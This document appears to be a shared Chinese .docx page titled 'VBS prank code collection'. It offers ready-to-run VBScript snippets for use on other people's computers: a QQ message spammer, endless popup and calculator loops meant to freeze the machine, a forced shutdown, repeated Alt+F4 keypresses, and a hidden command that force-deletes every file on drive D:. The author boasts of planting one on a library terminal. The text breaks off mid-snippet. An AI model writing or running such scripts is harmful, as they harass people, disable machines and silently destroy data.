vbs整人代码大全.docx

《vbs整人代码大全.docx》由会员上传分享，免费在线阅读，更多相关内容在工程资料-天天文库。

1、一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> 复制代码 代码如下:OnErrorResumeNext Dimwsh,ye setwsh=createobject("wscript.shell") fori=1to10 wscript.sleep700 wsh.AppActivate("与xx聊天中") wsh.sendKeys"^v" wsh.sendKeysi wsh.sendKeys"%s" next wscript.

2、quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 ------------------------------------------------------------------------------ do msgbox"Youarefoolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器，直到死机 ----------

3、-------------------------------------------------------------------- setwsh=createobject("wscript.shell") do wsh.run"calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------

4、------------- dimWSHshell setWSHshell=wscript.createobject("wscript.shell") WSHshell.run"shutdown-f-s-t00",0,true ----------------------------------------------------------------------------- 五、删除D:所有文件 -------------------------------------------------------------------------

5、-- dimWSHshell setWSHshell=wscript.createobject("wscript.shell") WSHshell.run"cmd/c""deld:*.*/f/q/s""",0,true ---------------------------------------------------------------------------- 六、不断弹出窗口 ---------------------------------------------------------------------------- 复制代

6、码 代码如下:while(1) msgbox"哈哈你被耍了！" loop ---------------------------------------------------------------------------- 七、不断按下alt+f4（开什么都关闭……） --------------------------------------------------------------------------- 复制代码 代码如下:dimWSHshell setWSHshell=wscript.createobject("wscript.

7、shell") while(1) WSHshell.SendKeys"%{F4}" loop 八、按500次回车 (以上代码在运行者的电脑上显示500个对话框。其中dountils=500，500可以随意更改) 复制代码 代码如下:dims dountils=500 s=s+1 msgbox"哥们，给我按500次回车吧",64 loop '------------------------------------------------------------------------------------ 九、关不掉的窗口 复制代码 代码如下:WS

8、cript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName) WScript.Echo("你是可爱的小朋吗